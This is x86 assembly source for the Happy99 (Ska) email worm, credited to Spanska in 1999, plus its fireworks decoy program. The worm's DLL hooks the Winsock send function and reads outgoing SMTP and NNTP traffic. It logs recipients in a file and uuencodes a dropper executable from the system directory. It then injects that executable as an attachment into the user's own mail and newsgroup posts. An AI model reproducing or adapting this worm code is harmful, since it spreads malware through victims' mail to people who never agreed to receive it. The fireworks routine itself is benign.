mov eax, 1
end_ini_proc_with_problem:
ret 12
dllini ENDP

;*******************************************************************************************
;***                                ROUTINE SEND MAIL                                    ***
;*******************************************************************************************

PUBLIC mail
mail proc

;----localise les donn�es de la commande send

call recuperer_offset_et_taille_envoi       ;nique ebx, ecx, retourne ebx, ecx

;----- voir si ce qui est envoy� est une commande au serveur ou le corps d'un message

cmp ecx, 100
ja c_pas_une_commande_au_serveur

;==================== analyser la commande au serveur ==============================

;----- c'est une commande au serveur: r�cup�rer des infos

mov eax, [ebx]
and eax, 0DFDFDFDFh
cmp eax, "LIAM"
jne c_pas_from
mov eax, [ebx+4]
and eax, 0DFDFDFFFh
cmp eax, "ORF "
jne c_pas_from
mov ax, word ptr [ebx+8]
and ax, 0FFDFh
cmp ax, ":M"
jne c_pas_from

;---- si c'est la commande "from", on r�cup�re l'envoyeur et sa taille

mov esi, ebx
;mov edi, offset smtp_sender
    mov edi, offset_mem_buffer2_sender
mov smtp_sender_size, ecx
rep movsb

jmp fin_routine_mail_sans_dechargement

;----analyse les donn�es de la commande send

c_pas_from:
mov eax, [ebx]
and eax, 0DFDFDFDFh
cmp eax, "TPCR"
jne c_pas_to
mov eax, [ebx+4]
and eax, 0FFDFDFFFh
cmp eax, ":OT "
jne c_pas_to

;---- si c'est la commande "to", on stocke ce rcpt

call stocke_le_rcpt

;---- on v�rifie que ce destinataire n'a pas d�j� recu le dropper

mov smtp_recipient_size, ecx
call verifie_destinataire       ;nique eax, retour eax=-1 si faut pas envoyer, 0 sinon
cmp eax, 0
je fin_routine_mail_sans_dechargement

;----- deja recu: on annule tout

mov faut_pas_envoyer_mail, -1
jmp fin_routine_mail_sans_dechargement_mais_vidage_des_rcpt

;----- fin d'analyse des commandes

c_pas_to:
jmp fin_routine_mail_sans_dechargement

;================= ce n'est pas une commande, mais un gros send ==========================

c_pas_une_commande_au_serveur:

;------ r�cup�rer les headers

call recupere_headers               ;nique eax, retour eax=-1 si couille, 0 si OK
cmp eax, 0
jne fin_routine_mail_sans_dechargement

;------ verifier s'il y a des rcpt

mov esi, offset_mem_buffer2_recipient
lodsw
cmp ax, 00
je fin_routine_mail_sans_dechargement

;------ verifier s'il faut envoyer

cmp faut_pas_envoyer_mail, 0
jne oh_puis_merde

;======================= tout est OK, on envoit le mat�riel ================================

call recuperer_socket_et_original_send      ;nique ebx, eax, renvoie en m�moire

;-------- 1/ envoyer les headers du message

mov eax, size_headers
mov ebx, offset_mem_buffer2_headers         ;HEADER
call envoie
cmp eax, -1
je fin_routine_mail_avec_dechargement

call uucode_et_envoie

;-------- 2/ envoyer le point final

mov eax, size_point
mov ebx, offset point                   ;"."
call envoie
cmp eax, -1
je fin_routine_mail_avec_dechargement

call recoit
cmp eax, " 052"
jne fin_routine_mail_avec_dechargement

;-------- 3/ envoyer la commande "reset"

mov eax, size_smtp_rset
mov ebx, offset smtp_rset               ;RSET
call envoie
cmp eax, -1
je fin_routine_mail_avec_dechargement

call recoit
cmp eax, " 052"
jne fin_routine_mail_avec_dechargement

;-------- 4/ envoyer from

mov eax, smtp_sender_size
mov ebx, offset_mem_buffer2_sender          ;MAIL FROM:
call envoie
cmp eax, -1
je fin_routine_mail_avec_dechargement

call recoit
cmp eax, " 052"
jne fin_routine_mail_avec_dechargement

;-------- 5/ envoyer autant de rcpt qu'il faut

mov esi, offset_mem_buffer2_recipient
mov edx, offset_mem_buffer2_sender          ;limite haute
sub edx, 50

cherche_rcpt:
xor ecx, ecx
mov ebp, esi

cherche_fin_rcpt:
lodsb
inc ecx
cmp esi, edx
ja fin_routine_mail_avec_dechargement
cmp al, 0
je envoyer_data
cmp al, 0Ah
jne cherche_fin_rcpt

mov eax, ecx
mov ebx, ebp                        ;RCPT
call envoie
cmp eax, -1
je fin_routine_mail_avec_dechargement
call recoit
cmp eax, " 052"
jne fin_routine_mail_avec_dechargement

jmp cherche_rcpt

;-------- 6/ envoyer data

envoyer_data:
mov eax, size_smtp_data
mov ebx, offset smtp_data           ;DATA
call envoie
cmp eax, -1
je fin_routine_mail_avec_dechargement

call recoit
cmp eax, " 453"
jne fin_routine_mail_avec_dechargement

;========================== fin de la routine ==================================

oh_puis_merde:
mov faut_pas_envoyer_mail, 0

fin_routine_mail_sans_dechargement_mais_vidage_des_rcpt:
mov edi, offset_mem_buffer2_recipient       ;annuler les rcpt en memoire
xor eax, eax
stosd

fin_routine_mail_sans_dechargement:
mov eax, 1              ;retour sans d�chargement de ma dll
ret

fin_routine_mail_avec_dechargement:

mov eax, "MMMM"         ;retour avec d�chargement de ma dll
ret

mail endp

;*******************************************************************************************
;***                                ROUTINE SEND NEWS                                    ***
;*******************************************************************************************

PUBLIC news
news proc

;----analyse les donn�es de la commande send

call recuperer_offset_et_taille_envoi       ;nique ebx, ecx, retourne ebx, ecx

;----- voir si ce qui est envoy� est une commande au serveur ou le corps d'un message

cmp ecx, 100
jb fin_routine_news_sans_dechargement

;================== ce n'est pas une commande, mais un gros send ===========================

call recupere_headers           ;nique eax, retour eax=-1 si couille, 0 si OK

cmp eax, 0
jne fin_routine_news_sans_dechargement

call recuperer_socket_et_original_send  ;nique abx, eax, renvoie en m�moire

;-------- 1/ envoyer les headers du message

mov eax, size_headers
mov ebx, offset_mem_buffer2_headers         ;HEADER
call envoie
cmp eax, -1
je fin_routine_news_avec_dechargement

call uucode_et_envoie

;-------- 2/ envoyer le point final

mov eax, size_point
mov ebx, offset point                   ;"."
call envoie
cmp eax, -1
je fin_routine_news_avec_dechargement

call recoit
cmp eax, " 042"
jne fin_routine_news_avec_dechargement

;-------- 3/ envoyer la commande "POST"

mov eax, size_nntp_post
mov ebx, offset nntp_post               ;POST
call envoie
cmp eax, -1
je fin_routine_news_avec_dechargement

call recoit
cmp eax, " 043"
jne fin_routine_news_avec_dechargement

;========================== fin de la routine ==================================

fin_routine_news_sans_dechargement:
mov eax, 1              ;retour sans d�chargement de ma dll
ret

fin_routine_news_avec_dechargement:
mov eax, "NNNN"             ;retour avec d�chargement de ma dll
ret

news endp

;*******************************************************************************************
;***               VERIFIE SI LE DESTINATAIRE A DEJA RECU LE DROPPER                     ***
;*******************************************************************************************

verifie_destinataire:
pushad
mov ebp, ebx

push 100
push offset_mem_buffer2_system_dir
call GetSystemDirectoryA        ;g�n�ralement C:\WINDOWS\SYSTEM
test eax, eax
jz stop_verifie_destinataire
mov system_dir_size, eax

mov esi, offset liste_name      ;concatenate "c:\windows\" and "list.ska"
mov edi, offset_mem_buffer2_system_dir
add edi, system_dir_size
mov ecx, liste_name_size
rep movsb

push 0                  ;handle of file with attributes to copy (0=Ludwig)
push 80h                ;file attributes (80h=FILE_ATTRIBUTE_NORMAL)
push 4                  ;how to create (4=OPEN_ALWAYS)
push 0                  ;address of security descriptor (0=Ludwig)
push 0                  ;share mode (0=Prevents the file from being shared)
push 0C0000000h             ;access (read-write) mode (080000000h=GENERIC_READ)
push offset_mem_buffer2_system_dir  ;address of name of the file
call CreateFileA
inc eax
jz stop_verifie_destinataire
dec eax
mov liste_handle, eax

push 5*1024+50
push 40h
call LocalAlloc
test eax, eax
jz close_file
mov offset_mem_buffer, eax

lit_le_fichier:
push 0
push offset liste_size
push (5*1024)
push offset_mem_buffer
push liste_handle
call ReadFile
test eax, eax
jz stop_verifie_destinataire

cmp liste_size, 5*1024      ;si le fichier est plus gros que 5 Ko
jb compare_names

push liste_handle
call CloseHandle

push 0
push 80h        ;on le remet � zero
push 2          ;how to create (2=CREATE_ALWAYS)
push 0
push 0
push 0C0000000h
push offset_mem_buffer2_system_dir
call CreateFileA
inc eax
jz stop_verifie_destinataire
dec eax
mov liste_handle, eax
jmp lit_le_fichier

compare_names:

    mov esi, ebp
add esi, 8
lodsd
mov ebx, eax
lodsd
mov edx, eax

mov esi, offset_mem_buffer      ;esi=memoire
mov ecx, esi
add ecx, liste_size         ;ecx=limite haute memoire

compare_8_premiers_cara:
lodsd
cmp eax, ebx
je teste_4_8
jmp cherche_0D0A_suivant
teste_4_8:
lodsd
cmp eax, edx
je il_a_deja_recu_le_dropper

sub esi, 4
cherche_0D0A_suivant:
sub esi, 3
cherche_0D0A:
lodsw
cmp esi, ecx
jae pas_dans_la_liste
cmp ax, 0A0Dh
je compare_8_premiers_cara
dec esi
jmp cherche_0D0A

pas_dans_la_liste:

mov edi, esi
    mov esi, ebp
add esi, 8
mov ecx, smtp_recipient_size
sub ecx, 8
push ecx
push edi
rep movsb
mov ax, 0A0Dh
stosw
pop edi
pop ecx

push 0              ;addr. of structure needed for overlapped I/O (0 pour normale)
push offset liste_size      ;address of nb of bytes written (si jamais tout n'est pas �crit)
push ecx            ;number of bytes to write
push edi            ;address of data to write to file
push liste_handle       ;handle of file to write to
call WriteFile
jmp close_mem_and_file      ;test eax inutile

il_a_deja_recu_le_dropper:
push offset_mem_buffer
call LocalFree
push liste_handle
call CloseHandle
popad
mov eax, -1         ;retour avec eax=-1 si faut pas envoyer
ret

close_mem_and_file:
push offset_mem_buffer
call LocalFree

close_file:
push liste_handle
call CloseHandle

stop_verifie_destinataire:  ;s'il y a le moindre probleme, on envoie quand m�me
popad
xor eax, eax            ;retour avec eax=0 si c OK
ret

;*******************************************************************************************
;***                      RECUPERE LES HEADERS (MAIL OU NEWS)                            ***
;*******************************************************************************************

recupere_headers:
pushad

mov esi, ebx
mov edi, esi
add edi, ecx
mov ecx, edi
add ecx, 100        ;?
xor edx, edx

analyse:

mov bx, word ptr [esi]
and bx, 0DFDFh              ;fous-moi ce bordel en majuscules
mov ebp, esi

cmp bx, "RF"                ;maybe From:
je maybe_find_from
fausse_alerte_a1:
mov esi, ebp
cmp bx, "US"                ;maybe Subject:
je maybe_find_subject
fausse_alerte_a2:
mov esi, ebp
cmp bx, "EN"                ;maybe Newsgroups:
je maybe_find_newsgroups
fausse_alerte_a3:
mov esi, ebp
cmp bx, "CC"                ;maybe CC:
je maybe_find_cc
fausse_alerte_a4:
mov esi, ebp
cmp bx, "CB"                ;maybe BCC:
je maybe_find_bcc
fausse_alerte_a5:
mov esi, ebp
cmp bx, 0A0Dh               ;maybe end of headers
je maybe_end_headers
fausse_alerte_a6:
mov esi, ebp
inc esi
cmp esi, ecx
jae stop_analyse_headers        ;in case of header end or
jmp analyse

maybe_find_from:            ;From:
lodsw
lodsd
and eax, 0FFFFDFDFh
cmp eax, " :MO"
jne fausse_alerte_a1
call recupere_un_champ
jmp analyse

maybe_find_subject:         ;Subject:
lodsw
lodsd
and eax, 0DFDFDFDFh
cmp eax, "CEJB"
jne fausse_alerte_a2
lodsd
and eax, 0FFFFDFh
cmp eax, 0+" :T"
jne fausse_alerte_a2
call recupere_un_champ
jmp analyse

maybe_find_newsgroups:          ;Newsgroups:
lodsw
lodsd
and eax, 0DFDFDFDFh
cmp eax, "RGSW"
jne fausse_alerte_a3
lodsd
and eax, 0DFDFDFDFh
cmp eax, "SPUO"
jne fausse_alerte_a3
lodsw
cmp ax, " :"
jne fausse_alerte_a3
call recupere_un_champ
jmp analyse

maybe_find_cc:              ;CC:
lodsw
lodsd
and eax, 0FFFFh
cmp eax, 0+0+" :"
jne fausse_alerte_a4
call recupere_un_champ
jmp analyse

maybe_find_bcc:             ;BCC:
lodsw
lodsd
and eax, 0FFFFDFh
cmp eax, 0+" :C"
jne fausse_alerte_a5
call recupere_un_champ
jmp analyse

maybe_end_headers:          ;end of headers
lodsd
cmp eax, 0A0D0A0Dh
jne fausse_alerte_a6
push eax

;----rajoute mon petit champ dans le header

mov eax, "pS-X"         ;"X-Spanska: Yes" to allow easy filtering :)
stosd
mov eax, "ksna"
stosd
mov eax, "Y :a"
stosd
mov ax, "se"
stosw
add edx, 14

pop eax
stosd
inc edx
inc edx

mov size_headers, edx           ;in case of OK
popad
xor eax, eax
ret

stop_analyse_headers:           ;in case of error

popad
mov eax, -1
ret

recupere_un_champ:
mov esi, ebp
mov edi, offset_mem_buffer2_headers
add edi, edx
recopie:
lodsb
stosb
inc edx
cmp edx, 2950
ja stop_recupere_un_champ
cmp al, 0Ah
jne recopie
stop_recupere_un_champ:
ret

;*******************************************************************************************
;***                                  ENVOIE                                             ***
;*******************************************************************************************

envoie:
mov ebp, eax

envoie2:
push LARGE 0
push eax
push ebx
push LARGE no_socket
call [original_send]

cmp eax, -1
jne envoi_ok

call WSAGetLastError
cmp eax, 10035
jne stop_envoi
mov eax, ebp
jmp envoie2

stop_envoi:
mov eax, -1
envoi_ok:
ret

;*******************************************************************************************
;***               RECUPERE TAILLE ET CONTENU DE L'ENVOI EN COURS                        ***
;*******************************************************************************************

recuperer_offset_et_taille_envoi:

mov ebx, [esp+32+(5*4)] ;offset du contenu envoy�
mov ecx, [esp+32+(6*4)] ;taille du contenu
ret

;*******************************************************************************************
;***               RECUPERE No SOCKET ET OFFSET DU SEND ORIGINAL                         ***
;*******************************************************************************************

recuperer_socket_et_original_send:

;----- r�cup�rer no de socket

mov ebx, [esp+32+(4*4)] ;no de socket
mov no_socket, ebx

;----- r�cup�rer le saut au send original

pop eax
pop ebx
push ebx
push eax
add ebx, 34+25      ;ATTENTION!! d�pend du dropper!!!!!!!!!!!!!

mov eax, [ebx]      ;recup du saut relatif depuis la fin du patch jusqu'au send original
add ebx, eax
add ebx, 4
mov original_send, ebx
ret

;*******************************************************************************************
;***                         UUCODE ET ENVOIE LE DROPPER                                 ***
;*******************************************************************************************

uucode_et_envoie:

;------- se r�server 20 Ko de m�moire

push 20*1024
push 40h
call LocalAlloc
test eax, eax
jz fin_routine_uucodage
mov offset_mem_buffer, eax

;------- r�cup�rer le path/nom du dropper

push 100
push offset_mem_buffer2_system_dir
call GetSystemDirectoryA        ;g�n�ralement C:\WINDOWS
test eax, eax
jz fin_routine_uucodage_avec_liberer_memoire
mov system_dir_size, eax

mov esi, offset dropper_name        ;concatenate "c:\windows\" and "drop.exe"
mov edi, offset_mem_buffer2_system_dir
add edi, system_dir_size
mov ecx, dropper_name_size
rep movsb

;------- mapper le dropper en m�moire

push 0          ;handle of file with attributes to copy (0=Ludwig)
push 80h        ;file attributes (80h=FILE_ATTRIBUTE_NORMAL)
push 3          ;how to create (3=OPEN_EXISTING)
push 0          ;address of security descriptor (0=Ludwig)
push 0          ;share mode (0=Prevents the file from being shared)
push 080000000h     ;access (read-write) mode (080000000h=GENERIC_READ)
push offset_mem_buffer2_system_dir  ;address of name of the file
call CreateFileA
inc eax
jz fin_routine_uucodage_avec_liberer_memoire
dec eax
mov dropper_handle, eax

push offset sizeofmappedfile    ;address of high-order word for file size (si ca d�passe)
push dropper_handle     ;handle of file to get size of
call GetFileSize
inc eax
jz fin_routine_uucodage_avec_fermer_dropper
dec eax
mov sizeofmappedfile, eax

push 0          ;name of file-mapping object (0=sans nom)
push 0          ;low-order 32 bits of object size
push 0          ;high-order 32 bits of object size  (0=meme taille que le fichier)
push 2          ;protection for mapping object (2=PAGE_READONLY)
push 0          ;optional security attributes (0=d�faut)
push dropper_handle ;handle of file to map
call CreateFileMappingA
test eax, eax
jz fin_routine_uucodage_avec_fermer_dropper
mov filemappinghandle, eax

push 0          ;number of bytes to map (0=en entier)
push 0          ;low-order 32 bits of file offset
push 0          ;high-order 32 bits of file offset (0=meme taille que le fichier?)
push 4          ;access mode (4=SECTION_MAP_READ)
push filemappinghandle  ;file-mapping object to map into address space
call MapViewOfFile
test eax, eax
jz fin_routine_uucodageavec_fermer_mapping
mov startoffilemapping, eax

;------ uucoder le dropper depuis son mapping (binaire) jusqu'� la zone m�moire r�serv�e

mov esi, offset debut
mov edi, offset_mem_buffer
mov ecx, size_debut
rep movsb               ;transf�rer "begin xxxx.exe"

xor edx, edx
mov eax, sizeofmappedfile
push eax
mov bx, 45
div bx
xor ecx, ecx
mov cx, ax
mov nb_45, ecx
mov reste_45, dl            ;calculer le nombre de lignes

mov esi, startoffilemapping
pop ebp
add ebp, esi
mov edx, nb_45

code_ligne_suivante:
mov al, "M"
stosb
mov ecx, 15

code_trois_octets:
    cmp esi, ebp
    jne tu_peux_la_lire_cette_putain_de_memoire3
    xor al, al
    jmp evite_plantage_because_peut_pas_lire_la_memoire3
tu_peux_la_lire_cette_putain_de_memoire3:
lodsb
evite_plantage_because_peut_pas_lire_la_memoire3:
mov ah, al
shr al, 2
and al, 00111111b
jnz pas_zero1
add al, 40h
pas_zero1:
add al, 20h
stosb

mov al, ah
shl al, 4
and al, 00110000b
mov bh, al
    cmp esi, ebp
    jne tu_peux_la_lire_cette_putain_de_memoire
    xor al, al
    jmp evite_plantage_because_peut_pas_lire_la_memoire
tu_peux_la_lire_cette_putain_de_memoire:
lodsb
evite_plantage_because_peut_pas_lire_la_memoire:
mov ah, al
shr al, 4
and al, 00001111b
or al, bh
and al, 00111111b
jnz pas_zero2
add al, 40h
pas_zero2:
add al, 20h
stosb

mov al, ah
shl al, 2
and al, 11111100b
mov bh, al
    cmp esi, ebp
    jne tu_peux_la_lire_cette_putain_de_memoire2
    xor al, al
    jmp evite_plantage_because_peut_pas_lire_la_memoire2
tu_peux_la_lire_cette_putain_de_memoire2:
lodsb
evite_plantage_because_peut_pas_lire_la_memoire2:
mov ah, al
shr al, 6
and al, 00000011b
or al, bh
and al, 00111111b
jnz pas_zero3
add al, 40h
pas_zero3:
add al, 20h
stosb

mov al, ah
and al, 00111111b
jnz pas_zero4
add al, 40h
pas_zero4:
add al, 20h
stosb

dec ecx
jnz code_trois_octets

mov ax, 0A0Dh
stosw

dec edx
jnz code_ligne_suivante

code_la_derniere_ligne:

mov al, reste_45
cmp al, 0
je fin_uu
add al, 20h
stosb

xor eax, eax
xor edx, edx
xor ecx, ecx
mov al, reste_45
mov bl, 3
div bl

mov cl, al
test ah, ah
jz pas_de_reste
inc cx
pas_de_reste:

mov edx, 1
mov reste_45, 0
jmp code_trois_octets

fin_uu:
mov esi, offset fin
mov ecx, size_fin
rep movsb               ;transf�rer "end"

mov ecx, edi
sub ecx, offset_mem_buffer
mov size_uu_file, ecx           ;se souvenir de la taille du fichier uucod�

;-------- envoyer des paquets de 1000 octets

xor edx, edx
xor ecx, ecx
mov eax, size_uu_file
mov bx, 1000
div bx
mov cx, ax
mov nb_1000, ecx
mov reste_1000, edx

mov esi, offset_mem_buffer
inc nb_1000

envoie_la_sauce:

mov ebp, 1000
cmp nb_1000, 1
jne morceau_entier
mov ebp, reste_1000
morceau_entier:
mov eax, ebp
mov ebx, esi
call envoie

cmp eax, -1
je fin_routine_uucodage_avec_unmap

envoi_ok2:
add esi, ebp
dec nb_1000
jnz envoie_la_sauce

;------- tout fermer: fichiers (dropper, dropper uucod�) et m�moire (mapping*2, buffer)

fin_routine_uucodage_avec_unmap:
push startoffilemapping
call UnmapViewOfFile

fin_routine_uucodageavec_fermer_mapping:
push filemappinghandle
call CloseHandle

fin_routine_uucodage_avec_fermer_dropper:
push dropper_handle
call CloseHandle

fin_routine_uucodage_avec_liberer_memoire:
push offset_mem_buffer
call LocalFree

fin_routine_uucodage:
ret

;*******************************************************************************************
;***                        RECUPERE LES MESSAGES ENTRANTS                               ***
;*******************************************************************************************

recoit:
push LARGE 0
push LARGE 60
push offset_mem_buffer2_rcv
push LARGE no_socket
call recv
cmp eax, -1
je recoit

mov ebx, offset_mem_buffer2_rcv
mov eax, [ebx]
ret

;*******************************************************************************************
;***                          STOCKER RECIPIENT EN MEMOIRE                               ***
;*******************************************************************************************

stocke_le_rcpt:
pushad
mov esi, offset_mem_buffer2_recipient
mov edx, esi
add edx, 2900               ;ecx=limite haute memoire

cherche_00_suivant:
lodsb
cmp esi, edx
jae stop_stocke_le_rcpt
cmp al, 0
jne cherche_00_suivant

stocke_a_cet_offset:
dec esi
mov edi, esi
mov esi, ebx
rep movsb
mov eax, 0
stosd

stop_stocke_le_rcpt:
popad
ret

end dll

;--------------------------- (c) Spanska 1999 ---------------------------------
������������������������������������������������������[Happy99_ska_dll.asm]���
����������������������������������������������������[Happy99_fireworks.asm]���
;Graphic effect of Happy99, by Spanska
;A cute fireworks animation, done using a particle algorithm stolen from
;a beautiful 256 bytes demo by Picard/Hydrogen
;
;if you want to understand comments, learn french or use Altavista ;)
;at the very end, you can post a message for me in alt.comp.virus

;--------------------------- (c) Spanska 1999 ---------------------------------

.386
.model flat

extrn       GetModuleHandleA    :PROC
extrn       RegisterClassA      :PROC
extrn       CreateWindowExA     :PROC
extrn       ShowWindow      :PROC
extrn       UpdateWindow        :PROC
extrn       PeekMessageA        :PROC
extrn       SetPixelV       :PROC
extrn       TranslateMessage    :PROC
extrn       DispatchMessageA    :PROC
extrn       DefWindowProcA      :PROC
extrn       LocalAlloc      :PROC
extrn       LocalFree       :PROC
extrn       GetDC           :PROC
extrn       ReleaseDC       :PROC
extrn       PostQuitMessage     :PROC
extrn       ExitProcess     :PROC

nombre_explosion_maxi equ 16

.data

wndclass:
        clsStyle          dd 4003h  ; class style
        clsLpfnWndProc    dd ?
        clsCbClsExtra     dd 0
        clsCbWndExtra     dd 0
        clsHInstance      dd ?      ; instance handle
        clsHIcon          dd 0      ; class icon handle
        clsHCursor        dd 0      ; class cursor handle
        clsHbrBackground  dd 7      ; class background brush
        clsLpszMenuName   dd 0      ; menu name
        clsLpszClassName  dd ?      ; far ptr to class name

msg:
    msHWND          dd ?
    msMESSAGE       dd ?
    msWPARAM        dd ?
    msLPARAM        dd ?
    msTIME          dd ?
    msPT            dd ?
    protege dd ?

nb_explosions   dd 0
compteur    dd 0
color       dd ?
yy      dd ?
xx      dd ?
seed        dd 0FFAABB11h
theDC       dd ?
writebuffer dd ?
nom_fenetre     db "Happy 2000 to 29A readers !!",0
handle      dd ?
handle_wd   dd ?
adresse_retour dd ?

.code

HOST:

;----- se r�server de la m�moire

push (32*257)*nombre_explosion_maxi     ;number of bytes to allocate
push LARGE 40h                  ;allocation attributes (40h=LMEM_ZEROINIT)
call LocalAlloc
mov writebuffer, eax


;----- enregistrer la wndclass

push 0
call GetModuleHandleA
mov handle, eax

mov clsHInstance, eax
mov eax, offset wndproc
mov clsLpfnWndProc, eax
mov clsLpszClassName, offset nom_fenetre

push offset wndclass
call RegisterClassA

;----- creer la fenetre

push 0
push handle
push 0
push 0
push 512            ;hauteur
push 256            ;largeur
push 100            ;y
push 100            ;x
push 00080000h+00040000h
push offset nom_fenetre
push offset nom_fenetre
push 0              ;extra style
call CreateWindowExA
mov handle_wd, eax

push 1
push handle_wd
call ShowWindow

push handle_wd
call UpdateWindow

;----- le message loop

msg_loop:
push 1
push 0
push 0
push 0
push offset msg
call PeekMessageA
cmp eax, 0
jnz process_messages

;-------- dessiner tous les points

mov eax, compteur
and eax, nombre_explosion_maxi-1
mov compteur, eax
cmp eax, 0
jz ini_explosion

la_suite:
push handle_wd
call GetDC
mov theDC, eax

mov ecx, 16*256             ;16 explosions of 256 pixels each
mov esi, writebuffer

zozo2:

mov eax, dword ptr [esi+8]          ;get Y coordinate
mov dword ptr [esi+20], eax         ;save it in a unused zone
mov eax, dword ptr [esi+12]         ;get X coordinate
mov dword ptr [esi+24], eax         ;save it in unused zone

add dword ptr [esi], 001000h            ;gravity: add 0.1 pixel to Y speed
lodsd                       ;load Y speed
add dword ptr [esi+4], eax          ;add Y speed to Y coordinate
lodsd                       ;load X speed
add dword ptr [esi+4], eax          ;add X speed to X coordinate

lodsd                       ;load Y coordinate
sar eax, 16                 ;remove decimal part
mov edx, eax                    ;save in edx
lodsd                       ;load X coordinate
sar eax, 16                 ;remove decimal part
mov ebx, eax                    ;save in ebx

lodsd                       ;load color
cmp eax, 0                  ;color=0?
jne point_pas_noir              ;no: decrease color intensity
add esi, 8                  ;yes: go to next pixel
jmp fin_loop

point_pas_noir:
sub byte ptr [esi-4], 1             ;decrease Red component of color
jnc R_pas_a_zero                ;if positive, go to next component
mov byte ptr [esi-4], 0             ;if negative, put 0
R_pas_a_zero:
sub byte ptr [esi-3], 1             ;decrease Green component of color
jnc G_pas_a_zero                ;if positive, go to next component
mov byte ptr [esi-3], 0             ;if negative, put 0
G_pas_a_zero:
sub byte ptr [esi-2], 1             ;decrease Blue component of color
jnc B_pas_a_zero                ;if positive, go to next component
mov byte ptr [esi-2], 0             ;if negative, put 0
B_pas_a_zero:

push esi        ;be careful, this API fucks esi, ecx
push ecx

push eax        ;colorref
push edx        ;y
push ebx        ;x
push theDC      ;the Device Context
call SetPixelV      ;quand la fenetre est repeinte, on met le pixel � sa coordonn�e

pop ecx
pop esi

lodsd           ;get the precedent Y coord from unused zone where we saved it
sar eax, 16     ;remove decimal part
mov edx, eax        ;put in edx
lodsd           ;get the precedent X coord from unused zone where we saved it
sar eax, 16     ;remove decimal part

push esi        ;be careful, this API fucks esi, ecx
push ecx

push 0          ;black
push edx
push eax
push theDC
call SetPixelV      ;remove pixel from precedent position

pop ecx
pop esi

fin_loop:
add esi, 4      ;esi points to next pixel structure

dec ecx
jnz zozo2

push theDC
push handle_wd
call ReleaseDC

inc compteur

jmp msg_loop

;----- pour voir si la fenetre est ferm�e

process_messages:

cmp msMESSAGE, 12h  ;WM_QUIT equ 0012h
je end_loop

push offset msg
call TranslateMessage
push offset msg
call DispatchMessageA
jmp msg_loop

end_loop:

push writebuffer
call LocalFree

push    msWPARAM
call    ExitProcess             ;this terminates the program

;----- proc�dure de fen�tre vide pour acc�l�rer

wndproc:

pop eax
mov adresse_retour, eax
cmp dword ptr [esp+4], 2
jne suite

push 0
call PostQuitMessage
xor eax, eax
jmp suite2

suite:
call DefWindowProcA

suite2:
mov ecx, adresse_retour
push ecx

ret

;----- proc�dure pour initialiser une explosion

ini_explosion:

mov eax, nb_explosions
and eax, nombre_explosion_maxi-1
mov nb_explosions, eax
shl eax, 13             ;chaque explosion se garde un buffer de 8192
mov edi, writebuffer            ;(256 pixels, 32 bits par pixel)
add edi, eax
mov ecx, 256                ;on va calculer les 256 points

call random
shr eax, 7              ;X: 0FFFFFFFFh/128 = 1FFFFFF
mov xx, eax             ;virgule fixe: 1FF,FFFF = 512
call random
shr eax, 8              ;Y: 0FFFFFFFFh/256 = FFFFFF
mov yy, eax             ;virgule fixe: FF,FFFF = 256

call random
shr eax, 8              ;COULEUR: codee sur 3 octets
or eax, 0AF0F0Fh            ;masque pour augmenter la luminosite
mov color, eax

zozo:
call random
shr eax, 15             ;VITESSE: 0FFFFFFFFh/32768 = 1FFFF
mov [edi], eax              ;virgule fixe: 1,FFFF = entre 1 et 2
mov [edi+4], ecx            ;ANGLE: en radians, ecx presque random

fild dword ptr [edi+4]          ;charge l'angle dans le copro
fsin                    ;sinus = composante en X
fimul dword ptr [edi]           ;multiplie par la vitesse: resultat sur le stack
fild dword ptr [edi+4]          ;charge l'angle par dessus
fcos                    ;cosinus = composante en Y
fimul dword ptr [edi]           ;multiplie par la vitesse: resultat sur le stack
fistp dword ptr [edi]           ;decharge la composante en Y
fistp dword ptr [edi+4]         ;decharge la composante en X

add edi, 8
                    ;structure d'un pixel:
mov eax, yy             ;0  dd composante vitesse en Y
stosd                   ;4  dd composante vitesse en X
mov eax, xx             ;8  dd coordonnee Y
stosd                   ;12 dd coordonnee X
                    ;16 dd couleur
mov eax, color              ;20 dd rien, used to save precedent Y coord
stosd                   ;24 dd rien, used to save precedent X coord
                    ;28 dd rien
add edi, 12
loop zozo

inc nb_explosions
jmp la_suite

;----- random

random:

mov eax, 214013h
imul seed
sub edx, edx                ; Prevent divide overflow by caller
add eax, 2531011h
mov seed, eax
ret

        end     HOST

;--------------------------- (c) Spanska 1999 ---------------------------------
����������������������������������������������������[Happy99_fireworks.asm]���